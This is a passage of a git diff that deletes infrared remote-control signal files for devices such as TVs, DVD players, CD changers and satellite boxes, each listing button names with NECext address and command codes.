@@ -Filetype: IR signals file -Version: 1 -# -name: SMART_CONTROL_PICTURE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: MIX -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: P100 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: DOUB -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: SMART_CONTROL_SOUND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: HOLD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: REV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: UPDATE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: PP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 24 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 25 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: SWAP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 27 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 28 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: AV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2A 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2C 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: PURPLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2F 00 00 00 -# -name: TV/TX -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 31 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 33 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ByDesign/LCD/71,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ByDesign/LCD/71,-1.ir deleted file mode 100644 index c1163a261..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ByDesign/LCD/71,-1.ir +++ /dev/null @@ -1,44 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 02 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 04 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0A 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 12 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 22 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 2A 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 3A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CAT/Unknown_CS-907/0,191.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CAT/Unknown_CS-907/0,191.ir deleted file mode 100644 index e61ee41b7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CAT/Unknown_CS-907/0,191.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: FMMode -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 00 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 02 00 00 00 -# -name: Reset -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 03 00 00 00 -# -name: Test -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 05 00 00 00 -# -name: DolbyDigital -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 06 00 00 00 -# -name: Bypass -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 07 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 08 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 09 00 00 00 -# -name: Delay -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 0A 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 0D 00 00 00 -# -name: Config -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 0F 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 10 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 11 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 12 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 14 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 15 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 17 00 00 00 -# -name: DSPDown -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 18 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 19 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 1B 00 00 00 -# -name: Opt -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 1D 00 00 00 -# -name: ChLevel -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 1E 00 00 00 -# -name: Coax -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 1F 00 00 00 -# -name: X_KEY_3Stereo -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 40 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 41 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 42 00 00 00 -# -name: Dimmer -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 43 00 00 00 -# -name: DTS -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 44 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 45 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 46 00 00 00 -# -name: ProLogic -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 47 00 00 00 -# -name: KEY_VCR -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 48 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 49 00 00 00 -# -name: KEY_AUX -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 4A 00 00 00 -# -name: Direct -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 50 00 00 00 -# -name: PreTun -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 53 00 00 00 -# -name: Memo -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 55 00 00 00 -# -name: Auto -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 56 00 00 00 -# -name: FMAM -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 57 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 59 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 5E 00 00 00 -# -name: DSPUp -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CAT/Unknown_DVD-1122/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CAT/Unknown_DVD-1122/0,-1.ir deleted file mode 100644 index 549c6cf01..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CAT/Unknown_DVD-1122/0,-1.ir +++ /dev/null @@ -1,242 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: N/P -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: MENU/PBC -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: KEY_LANGUAGE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 41 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 44 00 00 00 -# -name: PROG -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 45 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 46 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 47 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 48 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4A 00 00 00 -# -name: R/L -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 53 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 55 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 57 00 00 00 -# -name: X_KEY_0+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 59 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CAT/Unknown_KF-9816/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CAT/Unknown_KF-9816/0,-1.ir deleted file mode 100644 index 6d91ef1f1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CAT/Unknown_KF-9816/0,-1.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: n/p -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_LANGUAGE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: step -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: prog -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: X_KEY_0+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 41 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 42 00 00 00 -# -name: rev -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 43 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 44 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 45 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 46 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 47 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 48 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 49 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4A 00 00 00 -# -name: pbc -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4B 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: resume -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 53 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 55 00 00 00 -# -name: a-b -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 56 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 57 00 00 00 -# -name: l/a -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 59 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5E 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/CD Player/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/CD Player/17,-1.ir deleted file mode 100644 index 79c79823c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/CD Player/17,-1.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 00 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 01 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 02 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 03 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 04 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 05 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 06 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 07 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 08 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 09 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0B 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 14 00 00 00 -# -name: OPEN_CLOSE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 16 00 00 00 -# -name: CONTINOUS -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1D 00 00 00 -# -name: SINGLE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1E 00 00 00 -# -name: A_B_CLEAR -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2B 00 00 00 -# -name: PWR_ON -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2E 00 00 00 -# -name: PWR_OFF -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2F 00 00 00 -# -name: PREV_TRACK -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 30 00 00 00 -# -name: NEXT_TRACK -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 31 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 32 00 00 00 -# -name: SKAN_REW -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 33 00 00 00 -# -name: SKAN_FF -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 34 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 35 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 39 00 00 00 -# -name: PREX_DISK -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3D 00 00 00 -# -name: NEXT_DISK -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3E 00 00 00 -# -name: DISK1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 40 00 00 00 -# -name: DISK2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 41 00 00 00 -# -name: DISK3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 42 00 00 00 -# -name: DISK4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 43 00 00 00 -# -name: DISK5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 44 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 56 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/DSS/183,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/DSS/183,-1.ir deleted file mode 100644 index 775c0f4c0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/DSS/183,-1.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 00 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 01 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 02 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 03 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 04 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 05 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 06 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 07 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 08 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 09 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 0B 00 00 00 -# -name: CH_UP -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 10 00 00 00 -# -name: CH_DOWN -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 11 00 00 00 -# -name: PWR_ON -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 2E 00 00 00 -# -name: PWR_OFF -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 2F 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 38 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 3A 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 63 00 00 00 -# -name: TV/_DSS -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 69 00 00 00 -# -name: JUMP -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 6C 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 6E 00 00 00 -# -name: FAVORITE -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 6F 00 00 00 -# -name: CURSER_UP -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 72 00 00 00 -# -name: CURSER_DOWN -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 73 00 00 00 -# -name: CURSER_RIGHT -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 74 00 00 00 -# -name: CURSER_LEFT -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 75 00 00 00 -# -name: * -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 76 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/DVD Changer/26,73.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/DVD Changer/26,73.ir deleted file mode 100644 index b9a719796..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/DVD Changer/26,73.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 00 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 01 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 02 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 03 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 04 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 05 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 06 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 07 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 08 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 09 00 00 00 -# -name: CURSER_ENTER -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 0B 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 0B 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 0E 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 0F 00 00 00 -# -name: DVD_MENU -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 1B 00 00 00 -# -name: PREV -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 30 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 31 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 32 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 35 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 38 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 39 00 00 00 -# -name: EASY_PLAY -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 52 00 00 00 -# -name: SET_UP -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 53 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 54 00 00 00 -# -name: SUBTITTLE -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 63 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 64 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 65 00 00 00 -# -name: CURSER_UP -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 79 00 00 00 -# -name: CURSER_DOWN -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 7A 00 00 00 -# -name: CURSER_LEFT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 7B 00 00 00 -# -name: CURSER_RIGHT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 7C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/DVD Changer/26,98.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/DVD Changer/26,98.ir deleted file mode 100644 index ac79c6842..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/DVD Changer/26,98.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DISK_SKIP_DOWN -type: parsed -protocol: NECext -address: 1A 62 00 00 -command: 3D 00 00 00 -# -name: DISK_SKIP_UP -type: parsed -protocol: NECext 